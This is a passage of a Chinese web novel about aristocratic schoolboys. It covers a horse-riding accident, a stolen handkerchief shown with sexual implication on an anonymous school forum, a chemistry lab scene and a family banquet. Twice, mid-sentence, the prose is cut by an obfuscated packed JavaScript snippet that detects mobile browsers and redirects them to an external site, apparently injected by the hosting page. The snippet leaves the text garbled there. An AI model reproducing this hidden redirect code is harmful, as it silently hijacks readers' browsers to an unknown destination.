“抱歉虞同学,教务系统一定是出了什么问题……”学业部的男生一脸堆笑,“现在改的话恐怕不好办了,毕竟信息已经录入完毕,拜托,实在抱歉,下次一定不会出现这种情况……” 虞听摇摇头,收起课程表:“算了,马术就马术吧。” 想着反正对于拿学分来说都没区别,虞听问了路,终于在上课前从击剑馆赶到马术课的室外场地。 在更衣室换好装备,刚一进入马场,情况忽然变得有些不对劲。 “虞学长!” 刚一靠近马厩,人群中便传来一声开朗的高呼。 虞听脚步猛地停下,看着陆月章向自己招手:“好巧啊,学长,我们选了同一门课呢!” 刚穿来这个世界时,某人那通慰问电话里的某句话一下子点醒了虞听。 ——哦对,学长你还不认识他,月章是我们的学弟,他在马术课上摔伤了,我在医院照顾他,实在没法赶来…… 糟了。 虞听心说。 好巧不巧,他怎么偏和主角又上了同一门选修课? 草场一望无际,虞听心里却堵得慌。他看着陆月章一脸阳光灿烂的样子向他跑来:“虞学长,我还以为你最近养病,不会选择马术这么高难度的体育课呢,真没想到——” “是啊,真没想到,”又一个声音插进来,“怎么在这也能碰见你。” 虞听再也忍不住,绝望地闭上眼。 长靴踏在地面发出叩叩的声响,希莱尔·欧文走过来,看也不看立刻住口的陆月章,站定在虞听面前。 “听说这个月你被我们风纪部扣分了。”希莱尔懒洋洋的,“真可怜,前任部长居然也有今天。” 虞听斜他一眼,轻轻哂笑。 “有多可怜,”他漠然问,“扣个操行分,难道值得我哭鼻子给风纪委员大人看?” “你——”希莱尔先是愣住,而后火冒三丈,“你敢凶我?” 希莱尔作势要上前,忽然远处穿来踏踏的马蹄声,马术课的老师骑着一匹马从远处赶来,在学生们羡慕的惊呼声中潇洒翻身下马:“好了,安静,孩子们,今天的课要开始了!” 学生们兴奋地用力鼓掌。没有什么比即将学到和老师一样帅气地骑马驰骋更让这些男孩子们期待的了。 希莱尔悻悻地瞪了虞听一眼,推开拉架的陆月章,气鼓鼓地转身离开。虞听懒得理会,走到人群另一头,随着其他学生礼貌性地拍了几下巴掌。 多事之秋啊,虞听百无聊赖地想。 然而他并不知道,草场里学生们兴冲冲的掌声和喝彩声飞过空旷的场地,隐约传到一旁的高年级教学楼,顺着打开的窗户飘进二楼教室。 “现在来讲评一下上周的艺术史课程论文……” 四年级选修课,许多学生都昏昏欲睡。 燕寻托着下巴坐在靠窗一排,转过头无意间向窗外看去。 不偏不倚的,他的视线精准落在无形中与人群隔开一道透明屏障般,独自伫立于边缘的那个长身玉立的青年身上。 14.第 14 章 “……动作要领就讲解到这。去马厩里选一匹喜欢的马吧!” 十五分钟后,老师一声令下,摩拳擦掌的男孩子们立刻撒欢似的奔向马厩,比那些拴着的小马驹还要兴奋。 虞听慢吞吞走在人群最后方。 上辈子他工作中遇到的“客户”各种各样,工作内容里偶尔也包括骑马。对他而言这堂课实在无趣。 走进马厩,一股草料味扑面而来,已经有不少男生挥汗如雨地牵着比自己高了半头的马往外走,老师教过的要领显然已经被这群急性子丢到了九霄云外。 虞听随便走向一匹离自己最近的小马,伸手在马额头轻柔地摸了摸。马儿鼻孔里哼哧哼哧地轻轻喷气,乖顺地低下头。 “虞学长。” 陆月章的声音在身旁响起,虞听回过头,发现陆月章不知何时站在自己身边,指了指这匹小母马,满脸心有余悸。 “学长还是别选它了。上次我就是从它背上摔下来的。”陆月章劝道,“可能是我技艺不佳,不过……学长还是小心些为好。” 虞听回头,手若有所思地抚摸马儿鬃毛。 “其他的马都被他们抢走了,”陆月章牵着他的马往外走了几步又折返回来,把缰绳递给虞听,“学长,这匹马没他们的神气,但一看就很温驯。你骑这匹吧,我腿还没完全好,今天本来也不能上马。” 话已至此,虞听只能接过牵引绳:“多谢。” “不客气,”陆月章挠挠后脑勺的头发,嘿嘿一笑,“学长,你是中途加入的马术课,基础比其他人差了些,注意安全啊。” 虞听点点头,牵着陆月章交给他的马走出马厩,和其他人一起来到场边。 马术老师已经在催促第一组人上马:“记着我刚才讲过的重点,严禁打闹,要是人仰马翻可不是闹着玩的!” 另一边希莱尔长腿一蹬一跨,轻轻松松翻身上马。他早没那个耐心听老师啰嗦,提着缰绳像个阅兵的将军一样骑马四处走来走去。 虞听叹了口气,也踩住脚蹬,扶住马鞍跨坐到马背上。 刚一上马,虞听重心一晃,他攥紧缰绳稳住身形,用力闭了闭眼,只感觉一股晕眩感直冲头顶。 是低血糖引起的晕眩。 果然,现在的这具身体还是不能适应乍然剧烈的运动。 陆月章让给虞听的是一匹综黄色的小马,的确如他所言其貌不扬,但上一世虞听多少接触过不同种类的马匹,一眼看出这马四肢匀称健壮,人骑上去哪怕策马奔跑也不会剧烈颠簸。 可虞听试着拽紧缰绳让马掉头,马不但毫无反应,甚至愈发躁动,鼻子里喷出浊气,虞听隐隐感觉颠簸越来越强烈,不禁皱起眉头。 太奇怪了。牵着马出来的时候还好好的,若不是确定这并非烈马,虞听也不会轻易接受陆月章的推荐。 怎么一到了人堆里,这马就显露出不好控制的趋势来? 虞听双腿夹紧马肚子,但收效甚微,马甚至从人群中穿过,向另一个方向走去。 是希莱尔那匹马的方向。 虞听立刻反应过来,不远处的马术老师也注意到虞听骑的这匹马的反常:“虞听同学,握紧缰绳不要动,什么都不要做!” 老师的喊声引得所有人都向虞听看去,包括希莱尔。 “哟,”希莱尔笑着将虞听从头看到脚,吹了个口哨,“病美人儿还能跨得上马呢!——” 话音刚落,虞听这匹棕黄色的马突然发了狂一般,一声长嘶,向着希莱尔狂奔而来! “啊啊啊!” 人群爆发出惊叫,刚还幻想着媲美古代将军的男生们一个个吓得面如土色,就连希莱尔也傻了眼,养尊处优的大少爷别说马发狂,就是马尥蹶子都没真的见过! 他下意识一扯缰绳,自己的马顿时也撒腿就跑。可就是见了鬼,他选中的这匹又高又大的黑马愣是跑不过后面那匹疯马,眼见着即将被从马背上掀翻在地,希莱尔条件反射地闭上眼睛。 马蹄声踢踏,嘶的一声尖锐长鸣! 想象中摔落在地被马踩断两根肋骨的惨剧并没有发生。 一片阴影笼罩住希莱尔的头顶。 希莱尔一愣,怔忪地睁开眼。 棕黄色马匹嘶鸣着高高扬起前蹄,前胸肌肉贲张,鬃毛飞扬,整个身子几乎八十度角直立起来,宛如一个庞然怪物严严实实挡住青年上方的阳光! 他瞳孔急剧收缩,然而下一秒,马突然昂起脖颈甩动头颅,挣扎起来。 希莱尔定睛看去,马在挣扎中偏过身子,露出坐在马背上的人。 希莱尔喉咙一紧:“虞——” 虞听漆黑双眸如古井无波,他面无表情把缰绳在手上缠了几圈,扬手一拽! 马再次嘶鸣不止,前蹄重重坠下,轰然巨响中,虞听紧握着缰绳,夹紧马腹低低地吁了一声,腾出一只手抚摸马儿鬃毛。 “听话,”虞听沉声说,“乖孩子……” 马儿不耐烦地甩头,前蹄烦躁踢摆,原地踏着步子弹跳。那是马对背上的骑手不服气,想要把人甩下来的征兆。人群连帮忙都忘了,傻呆呆地看着眼前发生的一切。 虞听从容地端坐在马背上,剧烈的颠簸与他而言仿佛不存在,青年只是眉心微蹙,抓着缰绳,吹了一声口哨。 口哨声让马术老师一个激灵。驯马者都知道,这种哨声是马儿最熟悉的训练口令。 慢慢的,棕黄色小马当真平静下来,低着头在希莱尔的马旁边来回踱步,嘴巴抖动,只是再没表现出攻击的迹象。 “快!快下马!” 马术老师跑过来,拽住希莱尔那匹马的缰绳:“感谢上帝,你要是受伤,我这份十五年的工作就要不保了……” 直到老师晃动他的腿,希莱尔方才六神无主地从马上滑下来。 几个学生也冲上来扶住希莱尔,却无一例外被他推开。 “他,”希莱尔声音嘶哑,“他怎么会……” 青年脑海中不受控制地一遍遍回放那一刹那的场景,他魂不守舍地往前走了几步,忽然一匹马挡在他身前,棕黄颜色让希莱尔应激地抬起头。 虞听骑在马上,单手持握缰绳,垂眸俯视着他。 明明还是那个泡在药罐子里的病美人,可此刻的虞听飒爽英气,神色冷冽,腰身挺拔紧窄,穿着长靴的双腿在高大马匹衬托下劲瘦修长;对方的眸色黑曜石一样深而发亮,唯独垂眼时浓长睫羽微翘的弧度,恍然予人一种柔软的错觉。 仿佛神明垂怜信众,面无表情,却怜悯慈悲。 虞听策马往前几步,薄唇轻启。 “果真头脑简单得像个宝宝,”虞听说,“没出息。” 希莱尔仰头看着虞听,瞳孔一震:“我……” 虞听转头看向老师,留给希莱尔一张俊秀侧脸:“老师,今天的课要不然就先到这吧。” “对对对,”马术老师立刻招呼,“所有人把马牵回去,动作要快!” 虞听跨下马,毫不理睬呆住的希莱尔,牵着绳子往回走。 刚走出没多远,陆月章已经追上来,看上去快要哭了: “对不起虞学长,我又闯祸了,我、我真不知道这匹马为什么也会……都怪我,如果不是我,你和希莱尔学长都不会出事……” 虞听把缰绳塞给陆月章,后者止住话头,怔愣地看着他。 “这件事我不想和你探讨,也没有深究的意义。”虞听语气里闪过一丝疲惫,“道歉的话说给该听的人去吧……只是别再把我牵扯进来了,陆学弟。” 他没注意说完这句话后陆月章的表情,从陆月章身边走过,脚步有些虚浮。 没走几步,虞听抬起头,向远处的高年级教学楼望去。 或许是自己的错觉,某一瞬间虞听居然感觉那里似乎有一道灼热的视线盯着自己似的。 大概是刚才的惊险让人神经太紧绷了吧……虞听摇摇头,推开草场的栅 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虞听想说别勒得我这么痛,可是他虚弱得讲不出话来,希莱尔按着他的头,让虞听额头抵在自己颈窝小口捯气儿,慌慌张张摸着他的后背顺气,一开口却咬牙切齿: “你以为自己是超人吗?我从马上摔下来,大不了休息几天就好了,可是你……你知不知道自己看起来一点血色都没有?” 虞听断断续续地喘息着:“……放开我。” 希莱尔以为自己幻听了:“你说什么?” 虞听隐忍地吐了口气,咬牙推开希莱尔,自己也重心不稳后退两步,单薄后背抵在更衣室冰凉的金属柜门上,激起一阵细密颤抖。 他垂着眼帘:“你不用觉得欠我什么。非要换我个人情的话,往后我们井水不犯河水,我就谢天谢地了,希莱尔同学。” 希莱尔眼底浮起血丝:“为什么?” 他上前一步,抓住虞听瘦削的肩膀:“虞听你这个人果然虚伪,面对其他人你永远是一副平易近人的样子,就连林抚那个和你常年争第一的对手,现在你也愿意和他联手参加什么狗屁比赛——为什么唯独到我这你就冷冰冰的,拒人于千里之外?” “你就这么嫌弃我吗?我告诉你,要嫌弃也是本少爷嫌弃别人在先!马术课这算什么?你想让我欠你人情,门儿都没有!” “我要一个白痴的人情有什么用?”虞听被对方的自说自话搞得无语。 “果然还是在盘算人情账吧!很好,这个挑战我应下了,以后会还给你的,本少爷最忌讳欠别人情,尤其是欠我的死对头。往后你再敢把我当做空气试试看!被你这种讨厌的家伙无视真是让人浑身不爽……” 虞听眉尖蹙紧:“放手。” “我不放!”希莱尔低吼,“还有,你,你三番五次当着那么多人的面说我什么,宝宝?你讽刺我是巨婴?!今天你必须说清楚!” 虞听忽然浑身一震,闭上双眼,睫羽颤抖:“痛……” 希莱尔被烫着了似的瞬间松开双手:“我,我弄疼你了?” 虞听没回答,苍白的眼皮紧闭微颤,他靠着柜子艰难侧过身,捂住胸口,手背青色血管凸起,将心口的布料抓出层层褶皱。 希莱尔喉结吞了吞,抬手犹豫着不敢再碰虞听,生怕眼前人一动就碎了似的:“我明明,没太用力……” 虞听没睁眼,摸索着拉开自己的储物柜门,他早就没力气站直,倚着柜子疲倦地睁开眼。 他漆黑的瞳孔略微收缩,嘴唇抿紧,看了柜子里面一会儿,突然转头深望着希莱尔。 希莱尔被虞听看得发毛:“你干什么?” 虞听声音嘶哑:“是你干的?” “什么?我啥也没……”希莱尔反应过来,“你丢了东西?” 虞听把柜门彻底拉开,希莱尔目光闪躲了一下,还是在虞听的示意下看向里面。 “是,”他听见虞听轻声说,“我的手帕……只有这件东西,消失不见了。” 15.第 15 章 当晚,赛罗米尔校园论坛。 晚上十一点五十分。 【爆炸性新闻!!】 【马术课上希莱尔学长突然被发狂的马袭击,危急时刻居然是虞学长救了希莱尔一名!】 【当时我拍到了照片,可惜手抖太糊了,那场面超级惊心动魄啊啊啊】 【[图片][图片]】 【虞不是从小体弱多病吗?虞家对他捧在手里怕摔了含在嘴里怕化了,什么时候让他学习过驾驭马匹,甚至技术如此高超的?】 【哎哟,这就是我们十项全能人帅心善的男神啦,高糊照片都挡不住的帅气~没想到平时看着一股清冷书卷气的学长还有这么潇洒的一面,简直更爱了~】 【虞听和某风纪委员大人一直关系不睦吧?这会不会是二人冰释前嫌的前兆?】 【楼上这些人你们倒是关注点正经东西吧…… 今天放学之前校园网站已经更新公告,要对马匹突然发狂的事情做出调查。事情没那么简单的。 学院采购的都是优质育种,马的体型也都偏大,一旦发生这种事故,哪怕是踩踏都有可能导致学生丧命。不论是希莱尔·欧文还是虞听,谁要是跌下马来,都意味着一个家族会失去它年轻的继承人。 说是意外事故,打死我也不信。】 …… 时间跳转到凌晨十二点整。 论坛的暗区入口准时出现在页面角落。 堪比定时发布一般,暗区内立刻多了一条新的主题帖。 标题非常简洁:【照片在这。】 点进这条主题帖,能看见楼主什么也没说,只是简单地po出了一张照片,画面里一条面料十分高级的灰色男士手帕放在桌子上,除此之外看不出任何环境信息。 也因此,除了偶尔有一两条【这是什么啊】【莫名其妙】的留言,帖子一直无人问津。 直到过了几分钟,匿名楼主再次留言。 【上次你们要的高价悬赏,我拿来了。】 很快,暗区有人反应过来: 【哦,我有印象,高价悬赏不是关于那个Y学长的吗!】 【这么说,这条手帕是Y的?】 【lz你怎么证明?】 帖子越来越热闹,楼主却久久没有现身。 暗区的学生们七嘴八舌八卦了一阵儿,正当大家意味着不过是个烂尾的钓鱼帖,准备散去时。 一张新的照片再次将帖子顶到了暗区最上面。 照片有些糊,像是随手拍的,仍然是那条手帕,只是和上一张图上平整得没有一丝折痕的那条比起来,这张显然皱了许多,仿佛刚被人粗.暴地使用过。 更关键的是,灰色手帕被濡湿了,上面多了些暧昧的白色痕迹。 照片底下附了一行文字: 【他的味道,实在让人忍不住。】 作为男子贵族学院,没人会不认得手帕上沾染的浊液是什么。 楼内瞬间炸开了。 【这是什么??lz我问你这是什么?!!】 【上帝啊,总算让我在暗区看到些真变态的内容了】 【对着Y学长的私人物品做这种事!报警我要报警!】 【别傻了,暗区当年设置过特殊的防火墙,查不到的。。】 【lz到底是谁啊?你是怎么搞到Y的手帕的,Y知道吗?】 【啊啊啊可恶……虽然很令人作呕,但是真的……真的有点羡慕……】 【尽管这里是学院暗区没错,但我还是想说lz你这个人真的好阴暗好扭曲,真没想到赛罗米尔还有这种阴沟里的老鼠一样龌龊的家伙。】 【这不是回应悬赏,分明是炫耀吧?】 【你们怎么反应这么大?反正我摊牌了,我就对Y学长有过一些幻想,甚至还做过梦】 【对着Y的手帕做这么下流的事,意外地有种好像在猥.亵学长本人的感觉……毕竟这手帕是Y每天用来擦汗的不是吗?】 【实不相瞒,Y学长总是生病,每次看他苍白着脸用手帕擦汗的时候我都会被Y优雅矜持的贵族气质,还有那一丝惹人心疼的易碎感吸引……有时恨不得魂穿到手帕上来着。】 【盗窃就是不可饶恕!】 眼看着回帖过百,那个罪魁祸首却如石沉大海,再没了音信。 没人知道这条手帕究竟在何处,又会有什么样的“遭遇”。 然而有一件事十分明了。 今夜,注定是许多赛罗米尔学生的不眠之夜。 * 马术课下课后,虞听身体一直不大舒服,尽管安珀罗斯把精心准备的营养餐送到他的套房,虞听还是头晕反胃到什么也吃不下。 再加上完成经济学的论文、温习各科功课,不知不觉一忙就忙到深夜。 整整一宿虞听都没有睡个安稳觉。 新的一天,太阳照常升起。 但不出意外的,虞听起床便感到胸闷气短,早晨一推开窗,窗外的冷空气刺得他练练咳嗽。 早饭是吃不下了,虞听匆匆喝了杯牛奶便乘车离开庄园,想到自己如今这幅伤病缠身的身体,虞听还是戴上了黑色口罩,临走前习惯性地给燕寻发了条短信:【今天有晚课,不必留饭。】 等坐上车,燕寻回了短信:【怎么连着两顿饭什么都没吃?】 虞听坐在车里,一边掩唇咳嗽一边回:【你怎么知道?】 【看你早饭没怎么动。】 【我没事,只是有点没胃口。】 【只是没胃口,不是因为别的?】燕寻回复,【有任何情况都别瞒着,告诉我就是。你住在燕氏庄园,我就理应对你的一切负责。】 车里不算颠簸,但以自己现在的身体素质,一直盯着手机屏幕晕车是迟早的事,想着燕寻本来也不在意这些琐碎细节,虞听干脆没回,放下手机闭目养神。 …… 上午最后一节,化学实验课。 尽管吃过药,可临近中午,虞听精神难免萎靡,他和其他所有同学一样坐在实验台后,听着老师在讲台上强调实验安全和注意事项。 然而与此同时虞听并不知道,某个被他冷落了一段日子的人正坐在靠窗最后一排的位置,目不转睛地盯着虞听的身影。 “同学们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701437|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍后大家分组实验,将记录到的结果汇报给我。千万记得小心……” 老师滔滔不绝,讲台下林抚置若罔闻。 虞听本就消瘦,大半张脸包裹在口罩下,更显得脸颊不过巴掌大小,不仅如此,虞听眼尾还泛着病态的潮红,睫羽明显克制着颤抖,深黑瞳孔都略显失焦。 啪的一声,钢笔罕见地从指尖脱出,掉在笔记本上。 林抚将钢笔捡起握在手心,不自觉用力,细长金属几乎嵌入掌心。 难道……虞听真的病了? “好了,自由组队,然后开始动手吧!” 老师宣布完,同学们立刻四处呼朋引伴,林抚心里一动,抓过教材和笔记站起身,拨开几个满脸谄媚地想要白嫖实验结果的男生,径直走向虞听的座位。 虞听端坐在椅子上,从实验台抽屉里拿出一双橡胶手套。 进入实验室前他们都已经穿好了白大褂,一件不那么合身的衣服套唯独在虞听身上衬得人面白如雪,黑发乌木般浓黑,整个人像一幅工整素雅的水墨画,黑白光影勾勒出克制萧肃的线条。 林抚脚步放慢了。 他忽然不知道该说些什么。这已经是不知第多少次反常,每当遇到虞听的事,他的身体总是先思维一步行动。 可明明他并不是个冒失冲动的人。 林抚眼睛瞟向别处,推了推眼镜,路线刻意地走过虞听身边,然后停在他实验台前。 “一个人?”他僵着脸,语气生硬,“菲利普教授说了,今天的实验需要一个人记录数据,没办法独立完成。要不要我们……” 虞听忽然抬起头,林抚一时竟连话都忘了说完。 “威廉同学,”虞听站起身,“看样子你也没有组队,要不要一起做实验?” 林抚狠狠怔住。他看着虞听绕过实验台,像路过空气那般从自己身边走过,向他身后某个同样呆若木鸡的男生走去。 “当,当然!”那个叫威廉的男生受宠若惊,连忙把桌上的东西哗啦推到一边去,又把椅子拉出来,“虞同学,东西放这里就好!上帝啊,这简直是我的荣幸……咱们从哪一步开始?” 林抚转过身,看着虞听对威廉笑了笑。 在此之前,他从未注意到虞听笑起来时眼睛弯弯的,即便口罩阻挡,林抚也能想象到这张脸会露出一个怎样和善、友好的笑容。 “先制取溶液吧。”虞听温和地道。 林抚站在原地,一股深深的无力感如灭顶潮水吞没了他,紧随而来的是一种深刻的、发自肺腑的愤懑。 他甚至没注意到旁边有不明就里的学生凑过来:“林抚,林学神,刚刚教授说的这个燃烧条件……” “在教材第一百六十三页,”林抚镜片后的目光凌厉一闪,冷冷道,“不会自己去看?” 那人被林抚的反常吓了一跳,却不敢说什么,唯唯诺诺点头走开。 不知是不是错觉,另一边正在轻松融洽地进行合作实验的两人依旧在说说笑笑,只是虞听的眼神若有若无地往林抚这边瞥了一眼。 林抚再也忍不住,转身大步走向离二人最远的一座实验台。 16.第 16 章 将实验结果递交给教授时,下课铃声刚好响起。 同组的威廉在要到虞听的联系方式后心满意足,欢天喜地地离去,教室中其他人也基本都已前往食堂就餐。 虞听低着头整理好书包,手指勾住口罩边缘,想将口罩拉下来稍微透透气。 “化学气体还没有完全散开,别摘下来。” 虞听顿住,放下手,看向站在实验台前的林抚。 “谢谢。”虞听说。 林抚眉间拧起一个川字,仿佛虞听刚刚说了句辱骂他的脏话似的。 “你还在为上次的事不高兴?”林抚语气沉着,“我可以解释。” “没不高兴。”虞听背上书包,“今天和我一组的这个威廉化学成绩不大好,我们两个一组,这次实验课的分数恐怕很难拔得头筹……这对于你来说是个好消息,林抚,拿到第一名可以让你在父母那里好好交差了。” 林抚:“我的家事不劳烦你操心。我也从来都不是外人眼里的好学生。” 虞听撑住实验台,倾身向前。 “我也从来都不是外人眼里的花瓶,病秧子。”虞听声音很轻,却一字一顿。 林抚倏地怔忪。 他直挺挺地站着,而虞听略微探身,又因为身高差的缘故仰起头,那张苍白俊秀的脸从未如此近距离地出现在林抚眼前。 虞听忽然伸出手,林抚下意识要躲,可身子石化一般动不了。 下一秒,他眼看着虞听那细长的手指捏住他的镜框,将眼镜从林抚那张错愕的脸上取了下来,放到一边。 “不该太在乎别人感受的时候,就别在乎别人的感受。”虞听的目光毫无阻隔地与林抚的视线交汇,“你是这样,我也是这样。明白了吗?” 林抚喉咙一紧:“……嗯。” 虞听眼睛微微弯起漂亮的月牙形状。尽管只露出一双眼睛,可那眉目间清浅的笑意还是让林抚躁动的心脏蓦然舒缓、踏实。 虞听淡淡地问:“明白什么?” 林抚极力克制面部肌肉的抽动:“以后不该不尊重你的感受。我不该大包大揽,像对待病号一样对待你,不准你过问任何事。” 噗嗤一声。 虞听话音里带了些笑意:“还有呢?” 林抚愣了一下:“还有?” “再想想。”虞听眼里闪过戏谑。 林抚的心又开始兔子一样乱蹦。他垂眼思索良久。 “……不该迁怒于其他人。”他低声说,“刚才在课上我因为心情不好凶了一个要和我组队的学生。可是……” 虞听这才点点头,转身向教室外面走去。林抚提高声线: “可是万一那就是真实的我呢?一个粗暴,没礼貌,不守规矩的,甚至出格的……” 虞听停下来,林抚以为对方被自己叫住,刚追上前两步,谁知对方在门口侧过身。 “你想说你也有狂野不羁的一面?”虞听挑眉,“你的眼镜落下了,狂野男孩。” 林抚呼吸一顿,回头抓过实验台上的眼镜匆忙戴好,然而刚转过身,虞听已经消失了,唯有走廊传来一串笑声: “下次竞赛的碰面时间地点由你来定,林抚同学!” * 两日后。 放学时分,夕阳西下,整个赛罗米尔校园笼罩在橘黄色的暖霞之中。澄澈人工湖面波光粼粼,白鸽成群飞过尖顶钟楼。 虞听出了自习教室,沿着石板路走向学院大门。 校服口袋传来嗡嗡震动,虞听低头拿出手机,再抬起头时,黑色皮鞋尖却已经踏上路面前方一道狭长锋利的黑影。 上方传来燕寻的声音:“晚上你去哪里?” 虞听抬眸,毫无意外对上燕寻那双黧黑的眸子。 二人站在距离校门口停车场不过几十米的地方,来往的人不多,但几乎所有路过的学生都会向他们投来探询的目光。 令虞听不解的是,燕寻逆着夕阳的脸竟颇笼上些阴霾。 虞听说:“我会晚归。” “我知道,”燕寻拿起自己的手机,“你没有回我消息,也没有回答我的问题。” 虞听这才想起看了一眼自己的手机屏幕:“哦,抱歉,才看到这一条,‘晚归去做什么’……” 燕寻打量了一下虞听身上和其他学生别无二致的学院校服。 “听说尤里乌斯·索恩的成人礼宴会就在今晚。”燕寻说,“看起来你并没有打算出席。” “哦,你说这个啊,”虞听不以为意,“参加晚宴的燕尾服我让司机带来了,时间来不及,就在车上换。” 燕寻眸光微微一动。 “这么说,你要参加?”燕寻问。 虞听说:“我答应了尤里乌斯。而且我有事情要和索恩家商量。” “你有什么事有求于索恩家族?”燕寻面无表情,“我不认为索恩家这些年有什么值得称道的建树。” 虞听:“有点私事。” 燕寻语气加重:“私事?” “不然呢?”虞听笑了,“是有关我自己家的事,当然是我的私事。” 燕寻沉默了,有好几个瞬间他似乎都想说些什么,却什么都没说出来。 “那你至少该回信。”燕寻忽然岔开话题,他拎起手机,“两天前我询问你为什么身体状况突然又变得那么糟糕,你没有回复我。今天你又没有回复。” “不是什么要紧事。”虞听回答。 “是因为马术课。”燕寻笃定地看着他。 “你怎么……”虞听怔了怔,“你什么都知道,还问我干嘛。” “我有必要听你亲口说。” “有什么意义呢?”虞听开始感觉有点莫名其妙,“明明之前也是你说,没必要什么事都互相报备的。” 燕寻表情微不可察地松动了一分。 他慢慢皱眉,欲言又止。 “……让我的司机送你吧。”他再次毫无征兆地自顾自开启新话题,“你现在住在我家,要是还让虞家的司机接送,证明是我们招待不周。” 虞听:“不用了,我的司机已经在校门口等着了,喏。” 燕寻转过身,果然看见虞家的车子已经在校门口等候。 他看着虞听走到车旁,顿了顿,转过身。 “燕少爷,”虞听无奈地看着他,“感谢你的周到,不过……我真的从没见过像你这样对于礼节如此固执的年轻人。” 燕寻阖了阖眼。 “玩得开心。”他的声音低沉如大提琴。 虞听笑笑:“我会的。” 他回身开门上车:“出发吧。” “是,”车子启动,同时司机在前排提醒道,“少爷,您的礼服就放在旁边的座椅上。” 虞听扯了扯领带,无意间转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704671|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头,车子正好驶过赛罗米尔的校门口,一霎而过之际,他似乎看见某个高大身影依旧伫立在原地目送着什么,可也只有短暂一瞬,那黑影便远远地消失在车后方。 十五分钟后,车子驶入索恩家的别院。 这座典雅的西式园林坐落于寸土寸金的奥林德市中心,宛如一座拔地而起的王宫,而今晚王宫内灯火通明,正准备用一场盛大的仪式让他们新的男性继承人与世人见面。 车子停在大门口,虞听下了车,尤里乌斯如他预料的那样站在台阶上方,笑盈盈地同每一位来往宾客点头寒暄。举手投足之间,大家长子从容的风范尽显。 虞听迈上台阶,尤里乌斯刚好与一位年长女性行吻手礼告别,他转过头,看见虞听走来,那双湛蓝的眸子顿时一亮。 “欢迎,学长,”他迎上前,笑意更加浓厚,同时毫不掩饰地通身打量虞听这一身装扮,“今天这身燕尾服真好看,简直可以用玉树临风形容。” 这并非恭维,与众多刻意在服装颜色剪裁上标新立异的年轻贵族相比,虞听这身纯黑的燕尾服乍看起来并不惹眼,可偏偏虞听生了张标致的脸,鼻梁细挺,下颌线清晰,眉目如画,清冷出尘的气质配上这一身剪裁得体的小礼服,更衬托出青年身姿利落高挑。 但虞听听了只是淡淡一笑:“我只偏爱黑白两种颜色,这身衣服刚刚好符合而已。” 尤里乌斯伸手想要揽住虞听,可虞听先一步伸出手,尤里乌斯愣了一下,也伸手同他相握。 “是啊,一想到学长,似乎永远是只有黑白两种颜色的。”他笑道,“这么多年了,咱们还没有如此正式地打过招呼。” 虞听仍然微笑:“今天不一样。从今天开始你就成年了,并且即将成为索恩家族正式宣布的继承人。恭喜,尤里乌斯。” 尤里乌斯没说话,只是笑笑,似乎对于这份恭贺并不上心。 “叔叔阿姨呢?”虞听问。 “在三楼茶室。”尤里乌斯松开手,一脸委屈,“我以为学长会在这陪陪我。” 虞听摆摆手:“很久没见到叔叔阿姨了,祖母嘱咐我一定要当面拜访。一会儿见。” 尤里乌斯侧身比了个请的手势:“好,学长,一会儿见。” 说话间下方又源源不断有外来的车停下,尤里乌斯转身挂上笑容继续迎接前来的宾客,虞听也走入一楼大厅。 上百平的宴会厅里满是身着华服的来宾,乐队演奏着舒缓悠扬的曲目,侍者走上前引导虞听走上三楼,敲开茶室的门。 “虞听,好孩子,听说你能来,尤尔高兴坏了!” 尤里乌斯的父母见到虞听,忙笑眯眯地迎接,虞听笑着同夫妇二人寒暄,索恩家族和虞家是世交,这份热络也在他预料之中。 “尤尔说你大病初愈,原本我们是不想劳烦你专程过来一趟,毕竟你们是从小长大的好朋友,彼此再熟悉不过了,”索恩夫人是个金发碧眼的美人,她拉着虞听的手,“成人礼也只不过是个仪式……” “我病了这么久,一直没来看看索恩先生和夫人。”虞听按照索恩家族的规矩,低头对女人行吻手礼,一句话哄得女人咯咯直笑,虞听接着转身,对笑呵呵的尤里乌斯的父亲点头致意。 “索恩先生,这次来我也有一件事想要代家父向您转达。”虞听盯着这位索恩家主,“您知道家父在上议院即将推行的军队改革法案吗?” 17.第 17 章 索恩先生笑容不变,眼里却闪过一丝惊讶。 “你父亲让你向我转达什么?”男人问。 天已经完全黯下来,从茶室窗户向楼下望去,可以看见索恩家宅邸外堪比高尔夫球场大小的平整草坪,喷泉的古希腊神话雕像在夜灯照映下泛起柔和的釉白色,沿着车道一字排开,优美却不失庄严。 直到亲眼看见,虞听才想起,这些都是书中不吝笔墨对尤里乌斯家奢华描写的具象化。 自然,这位索恩家族继承人的成人礼,也是书中泼洒狗血的又一个重要舞台。 具体发生了什么虞听已经不记得了——毕竟上辈子他可不是狗血作品的拥趸,只不过因为这本书实在太火,被动接收了不感兴趣的信息——但毫无疑问,修罗场情节是不可或缺的。 进一步来说,应该叫“贵族少爷们争相替被欺凌的主角受出头,索恩家族继承人宴会发言高调表白宣誓主权“的修罗场才对。 虞听收回远眺的视线,迎上索恩先生的目光。 “事实上,索恩先生,这并非完全是我父亲的意思,还有我自己的考量。”虞听说,“或许身为一个晚辈这么做太冒犯了,但我想知道您对于改革法案的看法。” 女人在一旁还想说些什么,索恩先生却不动声色地给了自己妻子一个眼神,于是她坐下来,给丈夫和虞听各自倒了杯茶。 索恩先生示意虞听喝茶:“尝尝这好茶。” 